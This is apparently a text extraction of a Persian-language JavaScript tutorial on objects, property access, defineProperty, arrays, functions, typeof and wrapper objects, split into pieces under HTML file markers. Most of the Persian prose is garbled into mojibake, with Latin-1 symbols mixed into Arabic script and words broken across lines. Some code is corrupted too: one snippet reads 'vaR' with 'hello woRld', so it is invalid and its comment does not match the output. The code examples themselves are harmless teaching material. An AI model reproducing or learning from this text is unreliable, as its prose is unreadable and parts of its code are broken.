Õ¾
م
شو
ϳ
¾فا
º»
void
²ÌÂÈ
ز ع
» ¶
ر صور¸· ک
³
ا
± ¼
د
ÉÁ»³²
· گ
ÈÁ²
ب
»
ر´ ر
»
د
Ý
م
[
)
Objects
(
اء
Ã
ش
²
.槯
object
ϳ»³ ç
و
Á µ
پ
±²¹º»¼
ر زبان جا
³ ϳ»³ ç»
و
Á»
ز
» ç
و
Á ¿±²¸³²
کارب
²Å ¼ ¿±²¾Ô
ز ب
» ·¹±
object
Û
ق
»¼
ر
³ .³²
ه· ک
³
ر
»
د
Ý
م
»
ژگ·ها´ آن ر
±¼
ن
»
ک¶ م·¸و
µº» ·Î
کی
²¸
¾ار
Ã
ا
º Ú± ϳ»³ ç
و
Á ¿±»
.µº» ²Ì±³ ϳ»³ ç
و
Á ¿±
د
É
ز چ
» ·Î
کی
²¸
¾ار
Ã
ا
º ´»
ر
»³
// defining object
var
obj = {
a:
“hello world”
,
b:
42
,
c:
true
};
obj.a;
// “hello world”
obj.b;
// 42
obj.c;
// true
obj[
“a”
];
// “hello world”
obj[
“b”
];
// 42
obj[
“c”
];
// true
گف¾¶ م·شو
object literal
حا
Íä
ص
»
2
³°
آکو
ÆÃ»³
ر
³ ³
موجو
²±³
ا
Ý
ید، م
Â
¾¶: ب¶ ک
¹Á
object
¶É
ا¾ سا
ÈÆÀ
ر
¼ ê±²Õ¸
ان
¹
م
» ·¾
ح
»
ک¶ ب¶ ر
³
ر
»³ ³
¼جو
ϳ
ا
º Ï»
¿ ر
±
د
É
، چ
µ
پ
±²¹º»¼
ر جا
³
object
µÃ
ا
º ´»²
ب
د:
ÉÉ
م·ک
Ù
ه
»²Ó »
ر
é
جال
ϳ»³ ç
و
Á ¿±»
ز
» ϳ
¾فا
º»
2 curly braces
37
¹
خ´ دو
µ
================================================ FILE: HTML/4.html ================================================
================================================ FILE: HTML/40.html ================================================
var
newObject = {};
// or
var
newObject =
Object
.create(
Object
.prototype );
// or
var
newObject =
new
Object
();
.³²
هد ک
»
و
Ã
ال· ¸ولید
Ã
object
Ú± ø
و
Ó ´
ها
Úκ
ز
»
object
ê±²Õ¸ Ï
و
ÞÁ
ز
» ç
و
Á ¶º ²
ه
object
ا در
È
ژگی
±À ¶±²±¹
م
Æ
گ· قاب
³
ا
º ¶
ب
µ
پ
±²¹º»¼
ر جا
³ Ï
¾¶ شد
Ã
ا
º
شیاء
» ´¼
ر
²
یاز ب
Á ³
ژگ·ها´ مور
±¼ µ±²±
¼ مد
ê±²Õ¸
ژگ·
±¼ ³
ا
ß±» ،Ù
ی
É
ک
³
ا
ß±» ø
و
Ó ´
ها
Úκ
ز
» ·¹± ¶
ب
object
Ú± ²
گ
» ¶
´ ک
»¶Á
م·باشد، ب¶ گو
Ö
ا
ßÁ»
.µº» Ö
ا
ßÁ» Æ
ح¾· قاب
»
آن ب¶ ر
ò
ا حذ
± ²
د، ¸÷یی
±
جد
د:
±²
ی
Ì
ب
²æÁ
ر
³ »
ر
²±
ز
object
Ä
¿ بخ
±»
ر
³ ¶Á
و
ÈÁ ´»²
ب
var
sampleObject = {property:
100
};
ا
È
ژگی
±À Á
سی ب
²¸
دس
Æ
ها´ قاب
á¼
ز ر
» Ú± ²
´ ه
»²
. ب
µº» ·
¾یاب
º³ Æ
قاب
ë±²
¼ ط
³
ز
»
object
Ú± ¶
ب
Ê
بو
²
ژگ·ها´ م
±¼
.³»³ Ù
هی
»
و
à ¶Ç»
ر
» ·
مثال
ø
و
Ó
object
ز
» ϳ
¾فا
º»
، با
Ö
ا
ßÁ»
±
¼ ب¶ صورت:
)
dot
(
ت
»³ ²ÌÂÈ
ع
ë±²
ز ط
»
sampleObject.property;
// 100
±
ب¶ صورت:
)
bracket
ک
»²
ب
ë±²
ز ط
»
sampleObject[‘property’];
// 100
¼ ϳ²
ک
²¾Ð
بی
»
· کد ر
±
ا
Á»
و
à ¶
ک
»²
، چ
µº» Ï
¸وصی¶ شد
á¼
ر
dot
²ÌÂÈ
ع
ë±²
ز ط
» ·º²¾º³
²¸éº
ا
É
م
µ
ک
»²
ب
á¼
ز ر
» ϳ
¾فا
º» ¶
ک
³
ر
»³ ³
· ¼جو
±
ها
µ
ما حال
» ،
د
É
م·ک
²¸Ï
کو¸ا
»
س· ر
±
و
Á
کد
باشد:
Ë
ا
à ´
ها
²¾
ک
»
کار
Æ
ژگ· شام
±¼ Ö
ا
Á ¶
´ ک
³
ر
»
ر مو
³
Ñ
´ مثا
»²
م·باشد. ب
obj[“hello world!”]
38
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/41.html ================================================
¶¾Ã
ا
É
ش
)
key
(
ید
Â
ن ک
»
و
É
ع
µÞ¸ µº» ·º²¾º³ Æ
قاب
µ
ک
»²
ب
ë±²
ز ط
» ¶
· ک
±
ژگ·ها
±¼ ¿
ی
É
چ
´²Ì±³ ²
ر م¾÷ی
³
ید
Â
ک
Ö
ا
Á ¶
ک
µº» ·Õ
ق
»
ر مو
³ µ
ک
»²
ب
á¼
ر
ÙÔ
ها´ م
³²
ز کارب
» ²Ì±³ ·¹± .
د
Á
م·شو
باشد:
Ï
شد
ϲ
ی
Ãè
vaR
object = {
foo:
“hello woRld”
,
b:
123
};
vaR
b =
“foo”
;
object[b];
// “hello world”
object[
“b”
];
// 123
ا
È
ژگی
±À ²±
مقاد
²½½
تغ
،Ï
¶ شد
Ç»
ر
» ¶Á
و
ÈÁ
object
³
ر مور
³ ،³
م·شو
Ö
ا
ßÁ» ·¾
ح
»
ب¶ ر
object
ژگ·ها´
±¼ ²±³
ا
Ý
ر م
³
ت
»²
¸÷یی
م·شو
Ö
ا
ßÁ» ²±
ز
ƹ
ب¶ ش
property
ژگ·
±¼
ر
»
د
Ý
م
²
¸÷یی
sampleObject.property =
1000
;
sampleObject.property;
// 1000;
¹±¹
ژگی ج
±À
اد
ر´
¼ ²æÁ ³
ژگ· مور
±¼ ¶
· ب
º²¾º³
د
ÉÁ
ا
È
ب¶ آن ه
²±³
ا
Ý
¶ م
Ç»
ر
» ¼
شیاء
» ´¼
ر
²
د ب
±
ژگ· جد
±¼ ³
ا
ß±»
ر
³ »
ر ر
»
د
Ý
¾سا½ م
Á» ²ÌÂÈ
ز ع
» ϳ
¾فا
º»
ر، با
»
د
Ý
دن م
Á»
و
à ´
¿ ¸فا¼ت ک¶ ب¶ جا
±»
با
槯
دن آن
Á»
و
Ã
::Ñ
، مثا
Ù
ی
É
م·ک
Ò
ر
³ ²æÁ ³
ژگ· مور
±¼
sampleObject.nextProp =
20
;
sampleObject.nextProp;
// 20
sampleObject[
‘otherProp’
] =
40
;
sampleObject.otherProp;
// 40
39
¹
خ´ دو
µ
================================================ FILE: HTML/42.html ================================================
Ñ
ر مثا
³ ¶
´ ک
»¶¾¹Á ،³
م·شو
Ö
ا
ßÁ»
bracket
¼
dot
²ÌÂÈ
ع
ë±²
¼ط
³
ز
» ¶
ژگ· ک
±¼
دن
Á»
و
Ã
د
ÉÁ
ا
È
ه
ز
» ·
ژگ
±¼
دن
Á»
و
à ،Ù
ی
É
ک
ê±²Õ¸ »
ژگ· ر
±¼ ë±²
ز چ¶ ط
»
د
É
·ک
ÈÁ ·¸¼
ک¶ ¸فا
µº» ¿±» ،³
ر
»³ ³
¼جو
ø
و
Ó
هد بو
»
و
à Ö
ا
ßÁ» Æ
قاب
ë±²
¼ ط
³ ²
ه
object
ژگی در
±À
جود
À
رسی
²
ب
·º
ر
²
ب
»
ر
²æÁ ³
مور
object
ر¼´
²
ب
»
ن آن ر
³
بو
³
ژگ·، موجو
±¼ Ú±
ز
» ϳ
¾فا
º»
ز
» ÆÎ
ق
Ù
هی
»
بخو
²
گ
»
. مثا
³²
ک
ϳ
¾فا
º»
hasOwnProperty
Ö
ا
Á ¶
ز م¾د´ ب
»
ن
»
، م·¸و
Ù
ی
É
ک
sampleObject.hasOwnProperty(
‘property’
);
// true
object
ژگی ´ز
±À Ù
حذ
Ù
هی
»
¼ بخو
Ù
ش¾¶ باشی
»
د
Á ³
و
Ã
object
ر
³ ·
ژگ
±¼ Ú±
ز
» ϳ
¾فا
º» ¶
یاز´ ب
Á
¼قات
» ·ñÕ
ب
µº» ¿¹È
م
²æÁ ³
ژگ· مور
±¼ ¼ ϳ²
ک
ϳ
¾فا
º»
delete
ید´
Â
¶ ک
ÈÂ
ز ک
»
ن
»
ور م·¸و
æÉ
¿ م
±» ´»²
. ب
Ù
ی
É
ک
ò
حذ
»
آن ر
´ مثا
»²
، ب
Ù
ی
É
ک
ò
حذ
»
ر
delete
sampleObject.property;
sampleObject.property;
// undefined
³
ا
±
ات ز
ÕÓ³ ¶
ب
µ
پ
±²¹º»¼
س· ب¶ زبان جا
±
و
Á
کد
Ö
ا
ÌÉ
ر ه
³ ¶
ک
³
ر
»³ ³
ی× ¼جو
Á ²Ì±³ ϳ»³ ç
و
Á ¿±
د
É
چ
Ï
شار
» )
Arrays
(
¶ها
±»
¼ آر
)
Functions
( Û
ب
»
ن ب¶ ¸و
»
¶ م·¸و
ÂÈ
ز آن ج
» ¶
د ک
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
µÞ¸
ن
»
ز آنها م·¸و
» ¼
د
Á
· شو
ÈÁ ¶¾Ã
ا
É
¼لی¶ ش
» ϳ»³ ç
و
Á
ن
»
و
É
ب¶ ع
³
¼ مور
³ ¿±» ¶
د ک
É
چ
²
. ه
³²
ک
.³²
ب
Ö
ا
Á
object
ϳ»³ ç
و
Á ´
وع¶ها
Èß
م
²±
ن ز
»
و
É
ع
object
ا¾
È
ژگی
±À ¾¹Ñ
ب
²Í½
پ
ات
È
ی
æÉ¸ ¼ ϳ²
ک
ϳ
¾فا
º» Object.defineProperty
ز م¾د
»
ن
»
م·¸و
object
´»²
ژگ· ب
±¼ ê±²Õ¸
ر
³
،þ²Ó Ä
ی
Å
. ب¶ صورت
³²
ک
ϳ
¾فا
º»
object
ر¼´
²
ب
²æÁ ³
ژگ· مور
±¼ ´
د
É
ب
²¹
ی
Å ´»²
´ ب
²¾Ð
بی
enumerable
¼ writable، configurable µ
پ
±²¹º»¼
شیاء جا
» ´¼
ر
²
ب
Ï
شد
³
ا
ß±» ´
ژگ·ها
±¼
:³»³ ²
¸÷یی
À
خ
Ð
ژگ· م
±¼ Ú± ´»²
ب
»
ژگ·ها ر
±¼ ¿±»
ن
»
م·¸و
defineProperty
د. با م¾د
É
م·باش
40
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/43.html ================================================
Á
کار با
Ñ
ر طو
³ »
ژگ· ر
±¼ ¿±»
ر
»
د
Ý
ک¶ م
³²
یی¿ ک
Õ¸
ن
»
ژگ· م·¸و
±¼ ¿±»
ز
» ϳ
¾فا
º»
با
:
writable
ی
Ã
ا
±
باشد
²
¸÷یی
Æ
قاب
object
Á
ید ¼
Â
ب¶ ک
)
for...in
(¶ÝÂ
ح
Ú±
ان
±²
ر ج
³
ن
»
ژگ· م·¸و
±¼ ¿±»
ن
³
بو
Ñ
ا
ÕÓ
با
:enumerable
م¾د
object
Ú± ´
یدها
Â
· ب¶ ک
º²¾º³ á¼
. ر
Ù
ش¾¶ باشی
»³ ·º²¾º³ ·
ژگ
±¼ ¶
ب
Ê
بو
²
ر م
»
د
Ý
م
هد.
³·
م
µÐ
¶ بازگ
±»
ب¶ صورت آر
»
ر
object
Ú± ´
ژگ·ها
±¼
ا
±
یدها
Â
م·باشد ک¶ ک
Object.keys
Á
´ ک¶ ح¾·
»¶Á
، ب¶ گو
Ù
ی
É
ک
µ±²±
¶ مد
ɱ×
¿ گ
±»
با
»
ژگ· ر
±¼
¾ار
Ó
ن ر
»
م·¸و
:
configurable
¼
non-enumerable
²Ì±³ ·¸
ار
Î
ا ب¶ ع
± Ñ
ا
ÕÓ²
ی
õ ²æÁ ³
ژگ· مور
±¼ ´»²
ی× ب
Á »
· ر
ÂÎ
¶ها´ ق
ɱ×
گ
د.
Á
ر
»³ »
ر
delete
ید´
Â
¶ ک
ÈÂ
شدن با ک
ò
· حذ
±
ا
Á»
ژگ·ها ¸و
±¼ ¿±» .³²
ک
non-writable
هد،
³·
ر م
»²
¾یار ما ق
û
ر
³ ×
ی
Á »
´ ر
²Ì±³ ´
ژگ·ها
±¼ ·
ه
³
ر
»
د
Ý
ان م
¹
م
» defineProperty
¾¶ م¾د
Î
ل
»
. ¸وج¶
³²
ک
ϳ
¾فا
º»
value
Ù
ی
ݾ
ه· مس
³
ر
»
د
Ý
ا´ م
ß
ب
»
ر
set
¼
get
ن م¾دها´
»
م·¸و
Ñ
´ مثا
»²
ب
ر
³ ²±
ز
Ñ
. ب¶ مثا
³
ا م·شو
äà ³
ا
ß±» î
باع
value
با
set
¼
get
ز
»
×مان
È
ه
ϳ
¾فا
º» ¶
ش¾¶ باشید ک
»³
ید:
É
¸وج¶ ک
Û
¿ ¸اب
±» Ë
و
àÃ
‘use strict’;
// to force options
var
myObject =
{};
Object
.defineProperty( myObject,
‘a’
, {
value:
“some value”
,
writable:
true
,
enumerable:
true
,
configurable:
true
});
[
)Arrays
(
یه¸ا
²¼
آ
ϳ
¾فا
º»
ز آنها
» ³
و
à ¶
ام
Á²
ر ب
³ ¼ ϳ²
ک
ê±²Õ¸ »
ها ر
ûÁ
ز ر
» ϼ²
گ
Ú± Ù
هی
»
و
÷
ید م
É
ک
þ²Ó
´»¶¾
ها´ رش
²
م¾÷ی
ê±²Õ¸ ،Ù
هی
³ ³
ا
ÔÉÐ
ی
Å ´²
گی
³
ا
±
ز
» Ä
¿ بخ
±» ¶
¸ا ب
µº» ¿¹È
، ر¼ش· ک¶ م
Ù
ی
É
ک
د
Õ
ب
Ñ
مثا
ƹ
کد´ ب¶ ش
³
ا
ÔÉÐ
ی
Å µº» ¿¹È
م
Ñ
´ مثا
»²
. ب
µº
ها
ûÁ
ز ر
» Ú± ²
ه
µ
ش
»
د
ÔÌÁ ´»²
ب
هید:
³ ¶Ç»
ر
» »
ر
41
¹
خ´ دو
µ
================================================ FILE: HTML/44.html ================================================
var
color1 =
“blue”
;
var
color2 =
“red”
;
var
color3 =
“green”
;
var
color4 =
“yellow”
;
خ¾·
º ¶
ها ب
ûÁ
ر
ê±²Õ¸ ç
و
Á ¿±»
ز
» ϳ
¾فا
º» ¼ µ±²±
ک¶ مد
Ù±
م¾وج¶ م·شو
Ù
ی
É
ک
µ
ق
³ ·È
ک
²
گ
»
¶Ó
ضا
» ³
و
à ´
ها
ûÁ
ر
ϼ²
ب¶ گ
²Ì±³ ûÁ
ر
Ú± Ù
هی
»
و
÷
ید م
É
ک
þ²Ó
Ñ
´ مثا
»²
، ب
µº» Ö
ا
ßÁ» Æ
قاب
هد
»
و
à ϻ²È
ب¶ ه
»
· ر
±
ها
Ä
مور چال
» ¿±» Ö
ا
ßÁ» .Ù
ی
É
ک
ò
حذ
»
ر
³
و
à µ
ها´ لیس
ûÁ
ز ر
» ·¹±
ا
± ،Ù
ی
É
ک
یس
Á
3
DRY
Ï
وش¾¶ شد
Á
کد
²Ì±³
ارت
Î
¼ ب¶ ع
³³²
م·گ
²
¾ار کد ب
Ã
ا
º
ن
³
و
ÎÁ ð
ی
Þ
ک¶ ب¶ ص
µ
ش
»³
³
ها´ مور
ϳ»³ ¶
وع
Èß
گ· م
³
ا
º ¶
، ب
¹»·
آر
Ö
ا
Á ¶
´ ب
²Ì±³ ϳ»³ ç
و
Á
ز
» ϳ
¾فا
º»
گ· با
³
ا
º ¶
ن ب
»
م·¸و
ی
É
ک
µ±²±
مد
»
ر
³
و
à ²æÁ
ϳ»³ ê¾
مخ
ç»
و
Á»
ز
» ´²±³
ا
Ý
د ک¶ م
ɾ
هس
object
¼لی¶
» ϳ»³ ç
و
Á ²
· ب
ɾÎ
· م
±
ها
ϳ»³ ç
و
Á
¶ها
±»
آر
µÓ²
گ
²æÁ
ر
³
object
ϳ»³ ç
و
Á
ز
» ´»¶
وع
Èß
م
²±
ز
»
¶ها ر
±»
ن آر
»
م·¸و
Û
ق
»¼
ر
³ .
د
ÉÉ
ر´ م·ک
»
د
ÔÌÁ »
ر
ر
³ ´²±³
ا
Ý
ب¶ صورت م
»
ید،آنها ر
Â
ژگ·/ک
±¼ ´
ها
鸲
م
Ò¼
ها ب¶ صورت ز
ϳ»³ ´
ر
»
د
ÔÌÁ ´
ک¶ ب¶ جا
د.
ÉÉ
ر´ م·ک
»
د
ÔÌÁ )
indexed position
( Ï
¶ شد
±
ا
ÈÁ ´
اها
̱
جا
// defining array
var
arr = [
“hello world”
,
42
,
true
];
arr[
0
];
// “hello world”
arr[
1
];
// 42
arr[
2
];
// true
arr.length;
// 3
typeof arr;
// “object”
م·باشد.
²
صف
³
ز عد
» ¶±»
آر
ç¼²
ش
ì±
د
Á» µ
پ
±²¹º»¼
ر زبان جا
³
¼ج·
²Ã ¶
ب
ø
و
Ó Ñ
ر مثا
³(
د
ɾ
هس
object
ϳ»³ ç
و
Á
ز
» ´»¶
وع
Èß
م
²±
¶ها ز
±»
¿ ک¶ آر
±» ¶
با ¸وج¶ ب
¶ÂÈ
ز ج
» ،µ
ش
»³
د
É
ه
»
و
à »
ب¶ آنها ر
Ê
بو
²
ژگ·ها´ م
±¼ ·
ام
ȸ ¿±»²
اب
É
ب
)
ید
É
ک
µ
ق
³
typeof
²ÌÂÈ
ع
.µº» ¶±»
آر
²
اص
É
ع
³»
د
Õ¸ Ï
د
É
ه
³
ان
ÐÁ ¼ ³
· م·شو
Á
ا
º
¼زر
²
کار ب
³
و
Ã
ک¶ ب¶ صورت
length
ژگ·
±¼
3 Don’t Repeat Yourself
42
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/45.html ================================================
باشد
)… ،2 ،1 ،0( ´³
ژگ·ها´ آن، عد
±¼
ــید
Â
ک¶ ک
³²
ک
ϳ
¾فا
º» ´»
object
ز
» ¶±»
ن ب¶ جا´ آر
»
م·¸و
ب¶
Ê
بو
²
ح¾· کار م
»
´ ر
»²
رها ب
»×
ب
» ¿±»
ز
» Ö»
کد
²
د. ¼ل· ه
É
ک
ϲ
ی
Ãè ´³
ژگ·ها´ عد
±¼
ر
³ »
ر
²±³
ا
Ý
¼ م
د.
Á²
ی
Ì
ر ب
»²
ق
ϳ
¾فا
º» ³
مور
³
و
Ã
با
éº
ا
ɾ
م
³²
ر کارب
³ Ú± ²
ک¶ ه
µº» ²¾Ô
د ¼ ب
Á»Ï
شد
³
ا
ß±» ³
و
Ã
[
)
Functions
( À³²¶Á
ام¶ها´
Á²
ر ب
³ ¶
د ک
É
ه
³·
م
Æ
ی
¹Ð¸ Û
ب
»
¸و
»
ها ر
object
²
· ب
ɾÎ
م
ϳ»³ ´
ها
ç
و
Á
ز
» ²Ì±³ ·¹±
´²
ی
ÌÐ
ی
Å ´»²
، ب
Û
ب
»
· ¸و
Â
ص
» ³²
د. کارب
Á
ر
»³ ·º
ا
º»
· بسیار
ÐÝÁ µ
پ
±²¹º»¼
ب¶ زبان جا
Ï
وش¾¶ شد
Á
Ñ
´ مثا
»²
. ب
³
م·شو
Ö
ا
ßÁ» ·
گ
³
ا
º ¶
ب
Û
¸اب
Ú± ê±²Õ¸
ک¶ با
槯
ر
»²¹¸²Å ´
یاتها
ÂÈ
ر ع
»²¹¸
ز
»
²±
ز
ƹ
ک¶ ب¶ ش
µº» Û
ب
»
ز ¸و
» ϳ
ا
º ·
´، مثال
³¼
¼ر
³
¼ عد
³ ´»²
ب
ÛÈ
د ج
ÉÁ
اض· ما
±
یات ر
ÂÈ
ع
Ö
ا
ßÁ»
از´ م·شو
ºÏ³
یا
Å
function
adder
(a, b) {
return
a + b
;
}
Ù
ی
Á×
ب
Ñ
ی× مثا
Á »
´ ر
»Ï
ید
ã
ی
Å ´
ها
µ
حال
Ù
ی
Á»
ک¶ م·¸و
³
بو
Û
¸اب
ê±²Õ¸
ز
» ϳ
ا
º ·
مثال
³
¿ مور
±»
Û
ب
»
¸و
³
ر مور
³ ÙÔ
· م
ÎÂä
. م
³²
هید ک
»
و
à Ï
اهد
Ð
ور م
Ó¼ ¶
ک¾ا½ ب
ê¾
ها´ مخ
îÞ
م¶ ¼ ب
»³»
ر
³ ¶
ک
ید:
É
¸وج¶ ک
Ë
و
àà ¿±»
ر
³ ²±
ز
Ñ
، ب¶ مثا
µº
آنها
ç
و
Á ·¾
پ
±²¹º»¼
جا
function
foo
() {
return
123
;
}
foo.bar =
“hello world”
;
typeof
foo;
// “function”
typeof
foo();
// “number”
typeof
foo.bar;
// “string”
د
Á
م·شو
ê±²Õ¸
ها
object
ا´
ÉÎ
م
²
ور ک¶ گف¾¶ شد ب
äÁ
ا
È
د ¼ ه
ɾ
یس
Á )¶
¼لی
»( ·Â
ص
» ϳ»³ ç
و
Á ،Û
ب
»
¸و
با
Û
س¶ ¸اب
±
ا
Ý
ر م
³
ا
äÃ
ز
» ´²
وگی
Â
´ ج
»²
د ک¶ ب
Á»³²
باز م·گ
»
ر
function
ر
»
د
Ý
م
typeof
²ÌÂÈ
¼ل· ع
´»
ر
»³
د
Á»
م·¸و
Û
ک¶ ¸اب
Ï
شد
ϳ»³
ان
ÐÁ ø
و
Ó Ñ
ر مثا
³ ¿
ی
ÉãÈ
م·باشد. ه
ƹ
¿ ش
±» ¶
´ ب
³
عا
object
.槯
ها
object
ϳ»³ ç
و
Á Ë»
و
Ã
ز
» ¶
باشد ک
)
foo.bar
د
ÉÁ
ما
( ·
ژگ
±¼
43
¹
خ´ دو
µ
================================================ FILE: HTML/46.html ================================================
ر
³
هد
³ ı
ا
ÈÁ
د
Á»
م·¸و
typeof
²ÌÂÈ
ف· ک¶ ع
¾
ها´ مخ
µ
، حال
Ï
شد
²
ک
è ³
ر
»
مو
²¾Â
کام
Ø
ر
³ ´»²
ب
هی
³·
¶ م
Ç»
ر
» ²±
ز
Ѽ
جد
Example
Typeof
Value
typeof undefined;
“undefined”
undefined
typeof null;
“object”
null
typeof true;
“boolean”
boolean (true or false)
typeof 1;
“number”
all numbers
typeof “hi”;
“string”
all strings
typeof func;
“function”
all functions
typeof [ ];
“object”
all arrays
typeof { };
“object”
native objects
Ñ
و
àÓ
ر
³
object
µÃ
ا
º ´»²
ز آنها ب
» ϳ
¾فا
º» ¼ ´²
ب
ÿ
ر
» Ö
و
Ô
، مف
Û
ب
»
· ¸و
Âû³
¾ار
Ã
ا
º ³
ر مور
³
Ï
د
É
ز آنها بس
» ´²à¾
مخ
ð
¶ ¸وضی
Ç»
ر
» ¶
ب
óÝÓ ÆàÓ ¿±»
ر
³ ¼ ³»³ Ù
هی
»
و
à ´²¸Æ
کام
ð
آ¸· ¸وضی
ی
É
م·ک
[
¸ا
Ų
¿ر
ÃÄ
Ñ»²¾
لی
ً
حا
Íä
ص
»
د
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
ام¶ مور
Á²
ر کد ب
³ Ù
ی
ݾ
´ ک¶ ب¶ صورت مس
²±³
ا
Ý
ب¶ م
گف¾¶ م·شو
)
literal
(
“I am a string”
;
42
;
true
;
Ñ
قو
ÆÝÁ ÆÃ»³
ر
³ Ï
ر
»
و
È
´، ه
» ¶¾
رش
Ñ»²¾
. لی
³
سو½ م·شو
Þ
م
Ñ»²¾
لی
Ú± ø
و
Ó ²±³
ا
Ý
ز م
» Ö»
کد
²
ه
Ï
شار
» ϳ
¾فا
º» ³
ها´ مور
Ñ»²¾
بوط¶ ب¶ لی
²
م
Ä
ر بخ
³
ها
object
³
ر مور
³
.³²
ر م·گی
»²
¶ ق
Á
¼گا
³
ا
± ·¹¸
شد.
44
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/47.html ================================================
[
µ
د
²
ع د
²¶·² Ʋ
ر
³ µ¹
ش
Ô
ری
ÑÁ Æ
¸ا
¹¿
م
·±
م¾دها
)
properties
(
ژگ·ها
±¼ ²
ب
ϼÍ
ع
µ
پ
±²¹º»¼
ر زبان جا
³ Ï
شد
ê±²Õ¸ ϳ»³ ç»
و
Á» ´»²
ب
´ مثا
»²
د. ب
É
د ¼ مفید م·باش
Éȸ
ک¶ بسیار قدر
³
ر
»³ ³
ی× ¼جو
Á
var
a =
“hello world”
;
var
b =
3.14159
;
a.length;
// 11
a.toUpperCase();
// “HELLO WORLD”
b.toFixed(
4
);
// “3.1416”
)
Wrapper Object
( Ï
د
ÉÁ
وشا
Å
object
Ö
ا
Á ¶
وم· ب
Ô
مف
µ
پ
±²¹º»¼
ر جا
³ ¶
¼لی
» ϳ»³ ç
و
Á ²
´ ه
»
ز
» ¶
ب
ژگ·
±¼
Ñ
´ مثا
»²
ب
( ³
· م·شو
Á»
و
û²Ó ϳ»³ ç
و
Á Ú±
ز
» ´
ا م¾د
± ·
ژگ
±¼ Ú± ¶
ام· ک
ÌÉ
. ه
³
ر
»³ ³
¼جو
»
ر
ϳ»³ ç
و
Á
آن
Ú
¸وما¸ی
»
ب¶ صورت
µ
پ
±²¹º»¼
، جا
و
Ó Ñ
ر مثا
³ toUpperCase)(
ا م¾د
±
length
د.
É
· م·ک
Á»
و
û²Ó »
بوط¶ ر
²
م¾د م
ì
پ
º ¼ ϳ²
ک
Ʊ
د
θ á²
اظ
ɾ
م
Ï
د
ÉÁ
وشا
Å
object
ب¶
:µº» ²±
ی¶ ب¶ کد ز
Î
¾د چی×´ ش
Ó»·
¸فاق· ک¶ م
»
var
a =
“hello world”
;
(new String(a)).length;
// 11
ید:
É
م·ک
Ï
اهد
Ð
م
»
شان ر
²
اظ
ɾ
ها´ م
Ï
د
ÉÁ
وشا
Å
object
¼ ϳ»³ ç»
و
Á»
ز
» ·±
ها
Ñ
مثا
²±
ر ز
³
±
ب×ر
S
ò²
ح
(
String
Ï
د
ÉÁ
وشا
Å
object
با
string
ϳ»³ ç
و
Á
±
Number
Ï
د
ÉÁ
وشا
Å
object
با
number
ϳ»³ ç
و
Á
±
Boolean
Ï
د
ÉÁ
وشا
Å
object
با
boolean
ϳ»³ ç
و
Á
óº
کار ¸و
³
و
Ã
شان ب¶ صورت
²
اظ
ɾ
ها´ م
Ï
د
ÉÁ
وشا
Å
object
ب¶
ϳ»³ ç»
و
Á»
ت
ͱ
د
θ ¶
ک
³
شو
µ
ق
³
ì±
و
Á¶
ام
Á²
ب
óº
¸و
³
¿ مور
±» ¶
ک
µ
یس
Á
یاز
Á ·
س
±
و
Á¶
ام
Á²
ب
Ö
ا
ÌÉ
ر ه
³ ¼ ³
م·شو
Ö
ا
ßÁ» µ
پ
±²¹º»¼
جا
.³²
صورت گی
45
¹
خ´ دو
µ
================================================ FILE: HTML/48.html ================================================
[
ه مقادیر
Ê
مقای
´²
ب
»²
: ب
³
ر
»³ ³
· ¼جو
Â
ص
» µ
¼ حال
³ ·¾
پ
±²¹º»¼
ام¶ها´ جا
Á²
ر ب
³ ²±³
ا
Ý
س¶ م
±
ا
Ý
´ م
»²
ب
ا
±
true
( ¿
بولی
ç
و
Á
ز
» ´
ر
»
د
Ý
م
Ï
ر
»
و
È
ی× ه
Á ¶
س
±
ا
Ý
¶ م
ß
¾ی
Á ¼ )
inequality
( ´²
ب
»²
اب
Á ¼ )
equality
(
هد بو
»
و
à )
false
ز بولی¿
» ²
ی
õ ·
وع
Á
ز
» ´
ر
»
د
Ý
ک¶ م
µº» ·Á
ب¶ زما
Ê
بو
²
م
ϳ»³ ç»
و
Á»
ت
ͱ
د
θ îÞ
ر ب
³ ²Ì±³ ÙÔ
م
³
مور
»
´ ر
³
ر
»
مو
²±
ز
µ
. لیس
³
هد بو
»
و
Ã
false
ا
± ¼
true
ا
± ¶ß
¾ی
Á µ
¿ حال
±»
ر
³ .Ù
ی
É
ک
Ʊ
د
θ ¿
ب¶ بولی
»
ر
ش
»³
هد
»
و
à ·Å
ر
³ »
ر
false
¶ß
¾ی
Á ¿
ب¶ بولی
Ï
شد
Ʊ
د
θ
ر
»
د
Ý
هد ک¶ م
³·
ان م
ÐÁ
±
)""( ·
ال
à ¶¾
رش
±
)²Î¾Õ
م
²
ی
õ ³
عد
(
NaN
ا
± -0 ،0
±
undefined ¼
null
ر
»
د
Ý
م
±
false
ر
»
د
Ý
م
true
ر
»
د
Ý
´ م
»
ر
»³ ¿
بولی
ϳ»³ ç
و
Á ¶
ب
Ʊ
د
θ Ö
ا
ÌÉ
ر ه
³
د
Á²
ی
ÌÁ
ر
»²
ق
°
با
µ
ر لیس
³ ¶
´ ک
²±³
ا
Ý
¶ م
È
ه
:µº» Ï
م¶ آمد
»³»
ر
³ ³
¿ مور
±»
ز
» ·±
ها
Ñ
. مثا
³
د بو
É
ه
»
و
Ã
±
"
hello
رش¾¶ "
±
123
³
عد
±
true
ر
»
د
Ý
م
±
[1, 2, 3]
ا
± ] [
Ñ
´ مثا
»²
¶ها ب
±»
آر
±
{ a: ĀāĂ } ،{ }
Ñ
´ مثا
»²
ها ب
object
±
foo)( {...}
Ñ
´ مثا
»²
ب
Û
ب
»
¸و
ز
» ¶
ید ک
É
ک
ϳ
¾فا
º» ´²±³
ا
Ý
ز م
»
ید
É
ک
á͸ Ï
ر
»
و
È
ک¶، ه
µº» ¿±» µ
ش
»³ µ
ق
³
د
±
´ ک¶ با
»¶¾¹Á
ر
³ ´
اها´ بسیار
äà ³
ا
ß±» ç
¿ موضو
±» Æ
لی
³ .
د
±
ر
»³
ان
É
ی
È
ط
»
ا آنها
±
ن
³
بو
ð
ی
Þ
صی
²
ی
õ
ا
± ð
ی
Þ
ص
·Â¹
ب¶ ش
µ
پ
±²¹º»¼
جا
é
ی
ß
اها´ ع
äà ¶
ب
Ê
بو
²
م
Ä
ر بخ
³ ¶
ک
µº» Ï
ید
ã
ی
Å ³
ر
»
س¶ مو
±
ا
